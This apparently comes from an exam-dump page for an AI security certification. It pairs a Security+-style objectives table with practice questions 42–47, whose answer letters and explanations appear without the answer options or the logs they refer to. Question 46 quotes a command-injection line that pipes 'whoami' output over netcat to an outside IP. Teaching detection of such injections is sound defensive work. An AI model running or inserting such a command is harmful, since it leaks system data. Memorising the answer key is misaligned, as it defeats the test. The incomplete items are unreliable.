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| Section | Weight | Objectives |
|---|---|---|
| Topic 1: Attacks, Threats, and Vulnerabilities | 24% | - Compare and contrast types of social engineering attacks - Given a scenario, analyze potential indicators to determine the type of attack - Given a scenario, analyze potential indicators associated with network attacks - Given a scenario, analyze potential indicators associated with application attacks - Explain threat actor types and attributes - Explain vulnerability scanning concepts - Explain penetration testing concepts |
| Topic 2: Architecture and Design | 21% | - Explain the importance of physical security controls - Summarize basics of cryptographic concepts - Explain the importance of security concepts in an enterprise environment - Explain the security implications of embedded and specialized systems - Given a scenario, implement cybersecurity resilience - Explain secure application development, deployment, and automation concepts - Summarize authentication and authorization design concepts - Summarize virtualization and cloud security concepts |
| Topic 3: Governance, Risk, and Compliance | 14% | - Explain risk management processes and concepts - Given a scenario, follow organizational security policies and procedures - Summarize regulations, standards, and frameworks that impact organizations - Compare and contrast various types of security controls - Explain privacy and sensitive data concepts in relation to security |
| Topic 4: Operations and Incident Response | 16% | - Given a scenario, use appropriate tool to assess organizational security - Summarize the importance of policies, processes, and procedures for incident response - Given a scenario, apply mitigation techniques or controls to secure an environment - Given a scenario, use data sources to support an investigation - Explain key aspects of digital forensics |
| Topic 5: Implementation | 25% | - Given a scenario, implement secure mobile device policies - Given a scenario, implement secure host settings - Given a scenario, implement public key infrastructure (PKI) - Given a scenario, implement secure systems design - Given a scenario, implement identity and account management controls - Given a scenario, apply cybersecurity solutions to the cloud - Given a scenario, implement secure network architecture concepts - Given a scenario, implement authentication and authorization solutions |
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NEW QUESTION # 42
A cybersecurity administrator needs a security mechanism that can validate input.
Which of the following controls should the administrator use?
Answer: A
Explanation:
Basic Concept: Input validation is a fundamental security principle that checks incoming data against expected criteria before processing it. For AI systems, this requires a mechanism capable of inspecting the semantic content and structure of inputs - not just their volume or format. CompTIA SecAI+ Study Guide identifies prompt firewalls as the primary input validation control for AI systems.
Why A is Correct: A prompt firewall validates incoming inputs by inspecting their content against security policies, detecting malicious patterns such as injection strings or jailbreaking attempts, enforcing structural rules, and blocking non-compliant inputs before they reach the AI model. Unlike network firewalls that operate on packet headers, a prompt firewall understands the semantic content of AI prompts, making it the appropriate input validation mechanism for AI systems.
Why B is Wrong: Rate limits control how frequently inputs are submitted, not what those inputs contain. A malicious prompt submitted within rate limits will not be detected or blocked - rate limiting does not validate the content or intent of individual inputs.
Why C is Wrong: Token limits cap the maximum length of inputs and outputs in terms of tokens. While this can prevent excessively long inputs from being processed, it does not inspect input content for malicious patterns or validate that inputs conform to policy requirements.
Why D is Wrong: Input quantity is a generic term that might refer to limiting the number or size of inputs.
Like token limits and rate limits, quantity controls do not validate the content of inputs for security compliance or detect malicious prompt patterns.
NEW QUESTION # 43
Which of the following requires developers to harden infrastructure to protect AI systems?
Answer: D
Explanation:
Basic Concept: Infrastructure hardening for AI systems involves applying security baseline settings and eliminating unnecessary attack surfaces. CompTIA SecAI+ Exam Objectives identify configuration standards as the specific governance instrument that mandates infrastructure hardening requirements for AI deployments.
Why D is Correct: Configuration standards are formal, technical documents specifying exact security settings, baseline configurations, and hardening requirements that developers and administrators must implement to protect systems including AI infrastructure. They establish enforceable rules such as disabling unnecessary services, applying least-privilege access, and enforcing secure communication protocols specifically for AI systems.
Why A is Wrong: Intake processes govern how new projects, systems, or requests are evaluated and onboarded into an organization. They are procedural checkpoints for initial assessment, not technical hardening directives for developers.
Why B is Wrong: Acceptable use policies define appropriate ways employees and users may use organizational systems and AI tools. They are behavioral guidelines aimed at end users, not technical requirements instructing developers to secure infrastructure.
Why C is Wrong: Development guidelines provide best practices and recommendations for software development and may include security considerations. However, they are advisory in nature and broader in scope than the specific mandatory infrastructure-hardening requirements found in configuration standards.
NEW QUESTION # 44
A security administrator must provide access controls for AI systems to list tables. Which of the following should the administrator implement?
Answer: A
Explanation:
Since the requirement is to control which users or systems can list tables, the proper control lies at the data access level. Implementing data access controls ensures only authorized entities can view or query the underlying tables used by the AI system.
NEW QUESTION # 45
A security analyst is aware of an active penetration test in the environment. The analyst examines security information and event management (SIEM) log data and notices the following output from the AI system:
Which of the following is the vulnerability that has occurred and the control the analyst should implement?
Answer: C
Explanation:
The log data reveals personally identifiable information (PII) such as name, address, and a full credit card number. This represents a sensitive information disclosure vulnerability. The appropriate control is data masking, which protects sensitive data in logs and outputs while still allowing necessary system monitoring.
NEW QUESTION # 46
A security analyst receives an alert about an AI system and is investigating the following output:
Which of the following is the most appropriate control the analyst should recommend?
Answer: C
Explanation:
The output shows a command injection attempt (sub.popen('whoami | nc 11.22.33.44'...)) embedded in user input. The most effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands, thereby securing the AI system against injection attacks.
NEW QUESTION # 47
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